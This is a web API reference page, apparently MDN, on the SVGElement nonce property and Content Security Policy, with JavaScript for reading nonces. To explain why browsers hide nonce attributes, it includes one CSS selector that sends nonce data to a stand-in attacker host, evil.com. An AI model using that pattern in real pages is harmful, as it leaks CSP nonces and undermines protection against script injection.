SVGElement: nonce property

Baseline Widely available

This feature is well established and works across many devices and browser versions. It’s been available across browsers since January 2020.

The nonce property of the SVGElement interface returns the nonce that is used by Content Security Policy to determine whether a given fetch will be allowed to proceed.

Value

A String; the cryptographic nonce, or an empty string if no nonce is set.

Examples

Retrieving a nonce value

In the past, not all browsers supported the nonce IDL attribute, so a workaround is to try to use getAttribute as a fallback:

const svg = document.querySelector("svg");
const nonce = svg.nonce || svg.getAttribute("nonce");

// Modern browsers hide the nonce attribute from getAttribute()
console.log(nonce); // Prefer using `svg.nonce`

However, recent browsers version hide nonce values that are accessed this way (an empty string will be returned). The IDL property (svg['nonce']) will be the only way to access nonces.

Nonce hiding helps prevent attackers from exfiltrating nonce data via mechanisms that can grab data from content attributes like this CSS selector:

css

svg[nonce~="whatever"] {
  background: url("https://evil.com/nonce?whatever");
}

Specifications

Specification
HTML # dom-noncedelement-nonce

Browser compatibility

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